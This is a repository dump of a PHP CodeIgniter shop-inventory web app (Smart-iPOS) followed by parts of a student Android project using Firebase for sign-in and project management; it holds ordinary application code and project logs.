</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/stock_report.png" alt="Stock Report">
<div class="card-body">
<h4 class="card-title text-center">
Stock Report
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/customer_report.png" alt="Customer Report">
<div class="card-body">
<h4 class="card-title text-center">
Customer Report
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/supplier_report.png" alt="Supplier Report">
<div class="card-body">
<h4 class="card-title text-center">
Supplier Report
</h4>
</div>
</div>
</a>
</div>
<div class="col-xl-2 col-lg-3 col-md-4 col-sm-6 col-xs-12 mb-3">
<a href="<?php echo base_url(); ?>">
<div class="card mb-0">
<img class="card-img-top .d-none .d-md-block" src="<?php echo base_url(); ?>assets/img/today_sale.png" alt="Today Sales">
<div class="card-body">
<h4 class="card-title text-center">
Today Sales Report
</h4>
</div>
</div>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
<file_sep>/application/controllers/Stock.php
<?php
/**
* Created by PhpStorm.
* User: hafiz
* Date: 30/07/2019
* Time: 2:57 PM
*/
defined('BASEPATH') OR exit('No direct script access allowed');
class Stock extends CI_Controller
{
public function __construct()
{
parent::__construct();
}
public function index()
{
redirect(base_url() . '/Stocks-List');
}
public function add_new_stock_view()
{
$data = array(
'tab_title' => 'Add New Stock',
'base_title' => 'Stocks',
'page_title' => 'Stock Entry Form',
'view_path' => 'home/dashboard_view'
);
$this->load->view('_layout/base_layout', $data);
}
public function stock_list_view()
{
$data = array(
'tab_title' => 'Stock List',
'base_title' => 'Stock',
'page_title' => 'Stocks Manager',
'view_path' => 'stock/stock_list_view'
);
$this->load->view('_layout/base_layout', $data);
}
public function low_stock_view()
{
$data = array(
'tab_title' => 'Low Stock',
'base_title' => 'Stocks',
'page_title' => 'Low Stock List',
'view_path' => 'home/dashboard_view'
);
$this->load->view('_layout/base_layout', $data);
}
public function damaged_stock_view()
{
$data = array(
'tab_title' => 'Dashboard',
'base_title' => 'Stocks',
'page_title' => 'Dashboard',
'view_path' => 'home/dashboard_view'
);
$this->load->view('_layout/base_layout', $data);
}
public function stock_return_view()
{
$data = array(
'tab_title' => 'Dashboard',
'base_title' => 'Stocks',
'page_title' => 'Dashboard',
'view_path' => 'home/dashboard_view'
);
$this->load->view('_layout/base_layout', $data);
}
}<file_sep>/application/config/routes.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
$route = array(
'default_controller' => 'welcome',
'404_override' => '',
'translate_uri_dashes' => FALSE,
//Application Routes
'Login' => 'welcome/login_view',
'Dashboard' => 'home/dashboard_view',
'Add-New-Stock' => 'add_new_stock_view',
'Stock-List' => 'stock/stock_list_view',
'Low-Stock' => 'stock/low_stock_view',
'Damaged-Stock' => 'stock/damaged_stock_view',
'Stock-Return' => 'stock/stock_return_view'
);
<file_sep>/application/views/_layout/footer.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
?>
<br>
<!-- Start Footer area-->
<footer class="py-3 bg-dark">
<div class="container">
<p class="m-0 text-center text-white">
Copyright <?php echo '2019 - ' . date('Y') . '. '; ?> © <?php echo 'Smart-iPOS'; ?><br>
<b>All rights reserved</b>
</p>
</div>
<!-- /.container -->
</footer>
<!-- End Footer area-->
<file_sep>/application/views/_layout/base_layout.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title><?php echo 'Smart-iPOS | ' . $tab_title; ?></title>
<!-- Font Awesome -->
<link href="<?php echo base_url(); ?>plugins/fontawesome/css/all.min.css" rel="stylesheet" type="text/css">
<!-- BootStrap -->
<link href="<?php echo base_url(); ?>plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<!-- DataTables -->
<!-- Custom styles for this page -->
<link href="<?php echo base_url(); ?>plugins/datatables/dataTables.bootstrap4.min.css" rel="stylesheet" type="text/css">
<!-- App Style -->
<link href="<?php echo base_url(); ?>assets/css/smart-ipos.css" rel="stylesheet" type="text/css">
</head>
<body>
<!-- Navigation -->
<?php $this->load->view('_layout/header'); ?>
<!-- Page Content -->
<div class="container-fluid">
<!-- Page Heading/Breadcrumbs -->
<h1 class="mt-5 mb-2"><?php echo $page_title; ?>
<small class="controller"><?php echo isset($base_title) ? $base_title : 'Control Panel'; ?></small>
</h1>
<!-- Main Content -->
<?php $this->load->view($view_path); ?>
</div>
<!-- /.container -->
<!-- Footer -->
<?php $this->load->view('_layout/footer'); ?>
<!-- Jquery-->
<script src="<?php echo base_url(); ?>plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap -->
<script src="<?php echo base_url(); ?>plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- dataTables -->
<!-- Page level plugins -->
<script src="<?php echo base_url(); ?>plugins/datatables/jquery.dataTables.min.js"></script>
<script src="<?php echo base_url(); ?>plugins/datatables/dataTables.bootstrap4.min.js"></script>
<!-- App Script -->
<script src="<?php echo base_url(); ?>assets/js/smart-ipos.js"></script>
</body>
</html>
<file_sep>/application/models/Welcome_Model.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Welcome_Model extends CI_Model {
function __construct()
{
parent::__construct();
}
public function index()
{
$data = array(
'tab_title' => 'Login'
);
$this->load->view('auth/login', $data);
}
}
<file_sep>/application/models/Sale_Model.php
<?php
/**
* Created by PhpStorm.
* User: hafiz
* Date: 30/07/2019
* Time: 2:57 PM
*/
defined('BASEPATH') OR exit('No direct script access allowed');
class Sale_Model extends CI_Model
{
public function __construct()
{
parent::__construct();
}
public function index()
{
redirect(base_url().'/Dashboard');
}
public function dashboard_view()
{
$data = array(
'tab_title' => 'Dashboard',
'base_title' => 'Control Panel',
'page_title' => 'Dashboard',
'view_path' => 'home/dashboard_view'
);
$this->load->view('_layout/base_layout',$data);
}
}<file_sep>/application/views/auth/login.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html lang="en-US" style="height: 100%">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?php echo 'Smart-iPOS | ' . $tab_title; ?></title>
<!-- Font Awesome -->
<link href="<?php echo base_url(); ?>plugins/fontawesome/css/all.min.css" rel="stylesheet" type="text/css">
<!-- BootStrap -->
<link href="<?php echo base_url(); ?>plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<!-- App Style -->
<link href="<?php echo base_url(); ?>assets/css/smart-ipos.css" rel="stylesheet" type="text/css">
</head>
<body class="bg-gradient-primary">
<div class="container">
<!-- Outer Row -->
<div class="row justify-content-center">
<div class="col-xl-10 col-lg-12 col-md-9">
<div class="card o-hidden border-0 shadow-lg ml-5 mt-2 mb-5 mr-5">
<div class="card-body p-0">
<!-- Nested Row within Card Body -->
<div class="row">
<div class="col-lg-6 d-none d-lg-block bg-login-image"></div>
<div class="col-lg-6">
<div class="p-4">
<div class="text-center">
<h3 class="text-dark mb-3">Store Name</h3>
<p class="text-dark">Enter Email and Password to Login</p>
</div>
<form class="user" action="<?php echo base_url() . 'Dashboard'; ?>">
<div class="form-group">
<input type="email" class="form-control form-control-user" id="exampleInputEmail" aria-describedby="emailHelp" placeholder="Enter Email Address...">
</div>
<div class="form-group">
<input type="password" class="form-control form-control-user" id="exampleInputPassword" placeholder="<PASSWORD>">
</div>
<div class="form-group">
<div class="custom-control custom-checkbox small">
<input type="checkbox" class="custom-control-input" id="customCheck">
<label class="custom-control-label" for="customCheck">Remember Me</label>
</div>
</div>
<button type="submit" class="btn btn-primary btn-user btn-block">
Login
</button>
</form>
<hr>
<center class="alert bg-danger">
<center>
<span class="text-white">
<i class="fa fa-exclamation-triangle"></i> <strong>Warning!</strong> User Not Found
</span>
</center>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Jquery-->
<script src="<?php echo base_url(); ?>plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap -->
<script src="<?php echo base_url(); ?>plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
</body>
</html>
<file_sep>/README.md
# Smart-iPOS
Mid-Level and Small Level Shop Inventory, Processing, Output and Storage Management Software
<file_sep>/application/views/_layout/header.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
?>
<!-- Start Header Top Area -->
<nav class="navbar fixed-top navbar-icon-top navbar-expand-lg navbar-dark bg-dark fixed-top">
<div class="container">
<a class="navbar-brand" href="<?php echo base_url() . 'Dashboard'; ?>"><h4><img
src="<?php echo base_url(); ?>assets/img/app_logo.png" class="img-responsive"
width="45"> <?php echo 'Smart-iPOS'; ?></h4></a>
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse"
data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false"
aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarResponsive">
<ul class="navbar-nav ml-auto">
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-layer-group"></i> Stocks
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">Add New Product</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Stocks List</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Low Stocks</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Damaged Stocks</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Stock Return</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-hand-receiving"></i> Purchase
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">Purchase List</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Due Purchase</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Purchase Return</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-share-square"></i> Sales
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">Sales</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Sales Return</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Chalan</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-file-user"></i> Accounts
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">1 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">2 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">3 Column Portfolio</a>
<a class="dropdown-item " href="<?php echo base_url(); ?>">4 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Single Portfolio Item</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-download"></i> Loans
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">Personal Loan</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Bank Loan</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">3 Column Portfolio</a>
<a class="dropdown-item " href="<?php echo base_url(); ?>">4 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Single Portfolio Item</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-abacus"></i> Reports
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">1 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">2 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">3 Column Portfolio</a>
<a class="dropdown-item " href="<?php echo base_url(); ?>">4 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Single Portfolio Item</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-database"></i> Database
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">1 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">2 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">3 Column Portfolio</a>
<a class="dropdown-item " href="<?php echo base_url(); ?>">4 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Single Portfolio Item</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-cogs"></i> Settings
</a>
<div class="dropdown-menu dropdown-menu-left" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>">1 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">2 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">3 Column Portfolio</a>
<a class="dropdown-item " href="<?php echo base_url(); ?>">4 Column Portfolio</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>">Single Portfolio Item</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdownPortfolio" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
<i class="fa fa-user"></i> Admin name
</a>
<div class="dropdown-menu dropdown-menu-right text-white" aria-labelledby="navbarDropdownPortfolio">
<a class="dropdown-item" href="<?php echo base_url(); ?>"><i class="fa fa-user"></i> User Profile</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>"><i class="fa fa-clipboard-list"></i> Activity Log</a>
<a class="dropdown-item" href="<?php echo base_url(); ?>"><i class="fa fa-door-open"></i> Log Out</a>
</div>
</li>
<!--<li class="nav-item">
<form class="form-inline">
<input class="form-control mr-sm-2" type="search" placeholder="Search" aria-label="Search">
<button class="btn btn-outline-info my-2 my-sm-0" type="submit"><i class="fa fa-search"></i> </button>
</form>
</li>-->
</ul>
</div>
</div>
</nav>
<!-- End Header Top Area -->
|
b150b01b07fa7803bfa4c5cc1374ef96c00482d0
|
[
"Markdown",
"PHP"
] | 12
|
PHP
|
hafijul233/Smart-iPOS
|
d7e52308cfd2dc436d67ee202ae96c5c57876f7e
|
e46e4649edf597d2e35d5d035352804a573017b7
|
refs/heads/master
|
<repo_name>luislombardis/APIHackaton1<file_sep>/Hackaton 1/apirest hito 2/app.js
const express = require("express");
const path = require("path");
const app = express();
const meses = ["enero", "febrero", "marzo", "abril", "mayo", "junio", "julio", "agosto", "septiembre", "octubre",
"noviembre", "diciembre"];
function getTime(req, res) {
const date = new Date();
const day = date.getDate();
const year = date.getFullYear();
const month = meses[date.getMonth()];
const hours = date.getHours();
const minutes = date.getMinutes();
res.send(hours + ':' + minutes + "\n" + day + "/" + month + "/" + year);
console.log("El usuario ha pedido la hora y la fecha")
}
app.get("/fecha", getTime);
app.listen(3000);
console.log("La app está funcionando");
|
359d486fc11ff71a9adfc2a658e69a6a5d8ef879
|
[
"JavaScript"
] | 1
|
JavaScript
|
luislombardis/APIHackaton1
|
6a9c5721591e2700f37016f30895ca45640d8f64
|
730220601ddf966cc4d077d168eace26aed516c5
|
refs/heads/master
|
<file_sep>import ImageLoader from '@squarespace/core/ImageLoader';
import { debounce } from './debounce';
export default function () {
// The event subscription that loads images when the page is ready
document.addEventListener('DOMContentLoaded', loadAllImages);
// The event subscription that reloads images on resize
window.addEventListener('resize', function () {
debounce(loadAllImages);
}, false);
}
// Load all images via Squarespace's Responsive ImageLoader
function loadAllImages() {
const images = document.querySelectorAll('img[data-src]');
for (let i = 0; i < images.length; i++) {
ImageLoader.load(images[i], {
load: true
});
}
}
|
fb6382115ac1fbea0228394ddd6bc742469a5d4c
|
[
"JavaScript"
] | 1
|
JavaScript
|
vladiv/squarespace-starter
|
9b366d8bf36fae44d73900209e99433b7a298dcf
|
628c1066c93c5b8353f12822ee3da4bec4b753f7
|
refs/heads/master
|
<file_sep>package george.importing;
import java.io.File;
import java.io.IOException;
import java.util.Iterator;
import org.neo4j.helpers.collection.PrefetchingIterator;
import org.neo4j.io.fs.DefaultFileSystemAbstraction;
import org.neo4j.kernel.logging.SystemOutLogging;
import org.neo4j.unsafe.impl.batchimport.BatchImporter;
import org.neo4j.unsafe.impl.batchimport.Configuration;
import org.neo4j.unsafe.impl.batchimport.ParallelBatchImporter;
import org.neo4j.unsafe.impl.batchimport.cache.IdMappers;
import org.neo4j.unsafe.impl.batchimport.input.InputNode;
import org.neo4j.unsafe.impl.batchimport.input.InputRelationship;
import org.neo4j.unsafe.impl.batchimport.staging.DetailedExecutionMonitor;
public class Importer
{
public static final String STORE_DIR = "graph.db";
static final Object[] NO_PROPERTIES = new Object[0];
static final String[] NO_LABELS = new String[0];
public static void main( String[] args ) throws IOException
{
File relationshipDataFileName = new File( args[0] );
long highestNodeId = Long.parseLong( args[1] );
BatchImporter importer = new ParallelBatchImporter( STORE_DIR,
new DefaultFileSystemAbstraction(), Configuration.DEFAULT, new SystemOutLogging(),
new DetailedExecutionMonitor() );
try
{
importer.doImport(
nodesWithHighestId( highestNodeId ),
relationshipsFromFile( relationshipDataFileName ),
IdMappers.actualIds() );
}
finally
{
importer.shutdown();
}
}
private static Iterable<InputRelationship> relationshipsFromFile( final File relationshipDataFile )
{
return new Iterable<InputRelationship>()
{
@Override
public Iterator<InputRelationship> iterator()
{
return new RelationshipsIterator( relationshipDataFile );
}
};
}
private static Iterable<InputNode> nodesWithHighestId( final long highestNodeIdInTheData )
{
return new Iterable<InputNode>()
{
@Override
public Iterator<InputNode> iterator()
{
return new PrefetchingIterator<InputNode>()
{
private long currentId;
@Override
protected InputNode fetchNextOrNull()
{
if ( currentId > highestNodeIdInTheData )
{ // Terminates the iterator
return null;
}
return new InputNode( currentId++, NO_PROPERTIES, null, NO_LABELS, null );
}
};
}
};
}
}
<file_sep>package george.querying;
import george.importing.Importer;
import org.neo4j.graphdb.GraphDatabaseService;
import org.neo4j.graphdb.Node;
import org.neo4j.graphdb.Relationship;
import org.neo4j.graphdb.Transaction;
import org.neo4j.graphdb.factory.GraphDatabaseFactory;
import org.neo4j.tooling.GlobalGraphOperations;
public class WhatIsInThere
{
public static void main( String[] args )
{
GraphDatabaseService db = new GraphDatabaseFactory().newEmbeddedDatabase( Importer.STORE_DIR );
try
{
Transaction tx = db.beginTx();
try
{
for ( Node node : GlobalGraphOperations.at( db ).getAllNodes() )
{
System.out.println( node );
for ( Relationship relationship : node.getRelationships() )
{
System.out.println( " " + relationship.getStartNode() + " --" + relationship.getType().name()
+ "--> " + relationship.getEndNode() );
}
}
tx.success();
}
finally
{
tx.close();
}
}
finally
{
db.shutdown();
}
}
}
<file_sep><project>
<modelVersion>4.0.0</modelVersion>
<groupId>org.neo4j</groupId>
<artifactId>george-benchmark</artifactId>
<version>0.1</version>
<name>Goerge's benchmark</name>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<neo4j.version>2.2-SNAPSHOT</neo4j.version>
</properties>
<repositories>
<repository>
<id>Neo4j Snapshots</id>
<url>http://m2.neo4j.org/content/repositories/snapshots</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>org.neo4j</groupId>
<artifactId>neo4j-enterprise</artifactId>
<version>${neo4j.version}</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source>1.6</source>
<target>1.6</target>
</configuration>
</plugin>
<!--plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>
batch-import
</finalName>
<archive>
<manifest>
<mainClass>org.neo4j.batchimport.Importer</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</plugin-->
</plugins>
</build>
</project>
|
41bb9ff5ea8c4202b10492b19946d869ec9138cf
|
[
"Java",
"Maven POM"
] | 3
|
Java
|
tinwelint/george-benchmark
|
411e07e09d790b35c39b3130a34ea99f3c27f1c6
|
cfbd77aaa075af179367065696dd950c8bc1ae40
|
refs/heads/master
|
<file_sep># CS102 ~ Design Project ~ Spring 2019/20
[Computer Engineering Department, Bilkent University](http://w3.cs.bilkent.edu.tr/en/).
The information and code in this repository are submitted in partial fulfillment of the CS102 Semester Design Project. Except where explicitly stated, the work is that of the group members listed below (who are expected to follow ethical academic & professional practice).
[Group Meetings Log](group/meetingslog.md)
#### Group Members
- [<NAME>](group/member1_log.md)
- [<NAME>](group/member2_log.md)
- [<NAME>](group/member3_log.md)
- [<NAME>](group/member4_log.md)
- [<NAME>](group/member5_log.md)
****
**Instructor:** _<NAME>_ **TA:** _<NAME>_
****
<file_sep>package com.example.myapplication;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.TextView;
import com.google.firebase.auth.FirebaseAuth;
/**
* _This class show main user menu and buttons ___
* @author __<NAME>___
* @version __17-05-2019__
*/
public class NewFrame extends AppCompatActivity {
//Variables
private String textName;
private String userId;
private TextView nameText;
private Button createProjectButton;
private Button yourProjects;
private Button joinproject;
private Button signOut;
private ImageButton accountSettings;
private FirebaseAuth mAuth;
//Constructors
//Methods
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.new_frame);
createProjectButton = findViewById(R.id.button2);
yourProjects = findViewById(R.id.button6);
joinproject = findViewById(R.id.button4);
signOut = findViewById(R.id.button7);
accountSettings = findViewById(R.id.imageButton2);
nameText=findViewById(R.id.textView4);
mAuth = FirebaseAuth.getInstance();
Intent get = getIntent();
textName = get.getStringExtra("Input");
userId = get.getStringExtra("userID");
nameText.setText( textName);
createProjectButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent createProjectPage = new Intent(NewFrame.this, CreateProject.class);
createProjectPage.putExtra( "name", textName);
startActivity(createProjectPage);
}
});
accountSettings.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent accountSeetingsPage = new Intent( NewFrame.this, AccountSettings.class);
startActivity( accountSeetingsPage);
}
});
yourProjects.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent yourProjectsFrame = new Intent( NewFrame.this, YourProjects.class);
yourProjectsFrame.putExtra( "name", textName);
startActivity( yourProjectsFrame);
}
});
joinproject.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent joinProjectFrame = new Intent( NewFrame.this, JoinProject.class);
joinProjectFrame.putExtra( "name", textName);
startActivity( joinProjectFrame);
}
});
signOut.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
mAuth.signOut();
Intent backToMainFrame = new Intent( NewFrame.this, MainActivity.class);
startActivity( backToMainFrame);
}
});
}
}
<file_sep># CS102 ~ Personal Log page ~
****
## <NAME>
****
On this page I will keep a weekly record of what I have done for the CS102 group project. This page will be submitted together with the rest of the repository, in partial fulfillment of the CS102 course requirements.
### ~ 27.04.2020 ~
This week I learn how firebase database works and how I can integrate to our project.
### ~ 04.05.2020 ~
This week I build a databse stroge class for database integration in our code.
### ~ 11.05.2020 ~
This week I deal with the randomString class which generate a invitation code for project. Also I create the JoinProject and YourProjects classes.
### ~ 19.05.2020 ~
This week I create AddAssignment and AssignmentView classes and finish the integration of database to our code.
### What did I learn?
I learned how to use Firebase database and Android Studio. I struggled with integrate database to our code while writing my part of code. Also I learned XML a little bit for design our pages apperances. I think this project process was a great experience for me to organize teammates and work as a group.
****
<file_sep>package com.example.myapplication;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.FirebaseFirestore;
/**
* _This class is a sign in page ___
* @author __<NAME> and <NAME>___
* @version __8-05-2019__
*/
public class MainActivity extends AppCompatActivity {
//Variables
private Button buttonSignUp;
private Button buttonSignIn;
private EditText editTextUserName;
private EditText editTextPassword;
private DatabaseStorage strg = new DatabaseStorage();
private FirebaseFirestore db = FirebaseFirestore.getInstance();
private String userName;
private String password;
private String userID;
private FirebaseAuth mAuth = FirebaseAuth.getInstance();
//Constructors
public MainActivity() {
}
/**
* Sign in method of class
* @param userName name of the user
* @param password password of the user
*/
public void signIn( String userName, String password)
{
FirebaseAuth auth = FirebaseAuth.getInstance();
auth.signInWithEmailAndPassword(userName, password)
.addOnCompleteListener(MainActivity.this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if (task.isSuccessful()) {
final FirebaseUser currentUser = mAuth.getCurrentUser();
userID = currentUser.getUid();
strg.setcurrentUserID(userID);
DocumentReference databaseRef = db.collection( "users").document( userID);
databaseRef.get().addOnSuccessListener(new OnSuccessListener<DocumentSnapshot>() {
@Override
public void onSuccess(DocumentSnapshot documentSnapshot) {
Intent MainMenu = new Intent(MainActivity.this, NewFrame.class);
MainMenu.putExtra("Input", documentSnapshot.getString( "Name"));
MainMenu.putExtra( "UserID", userID);
startActivity(MainMenu);
}
});
}
else
{
Toast.makeText(getApplicationContext(),"Your informations not valid",Toast.LENGTH_SHORT).show();
}
}
});
}
/**
* This method passes to RegisterPage
*/
public void signUp()
{
Intent register = new Intent(MainActivity.this, Register_Page.class);
startActivity(register);
}
/*
*
*
*/
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.buttonSignUp = findViewById(R.id.button5);
this.buttonSignIn = findViewById(R.id.button3);
this.editTextUserName = findViewById(R.id.editText3);
this.editTextPassword = findViewById(R.id.editText4);
buttonSignUp.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
signUp();
}
});
buttonSignIn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
userName = editTextUserName.getText().toString().trim();
password = editTextPassword.getText().toString().trim();
signIn( userName, password);
}
});
}
}
<file_sep>package com.example.myapplication;
import android.os.Build;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.annotation.RequiresApi;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.ValueEventListener;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.QueryDocumentSnapshot;
import com.google.firebase.firestore.QuerySnapshot;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* _This class is not used by main code anymore___
* @author __<NAME>___
* @version __9-05-2019__
*/
public class DatabaseStorage {
private FirebaseDatabase database;
private FirebaseAuth mAuth;
private FirebaseFirestore db;
private FirebaseFirestore fStore;
private String asd;
private String userID;
private String currentUserName;
private String invantationCode;
private boolean stm;
//Constructors
public DatabaseStorage()
{
this.stm = false;
fStore = FirebaseFirestore.getInstance();
db = FirebaseFirestore.getInstance();
mAuth = FirebaseAuth.getInstance();
database = FirebaseDatabase.getInstance();
}
//Methods
public void setStatement( boolean stm)
{
this.stm = stm;
}
public boolean getStatement()
{
return stm;
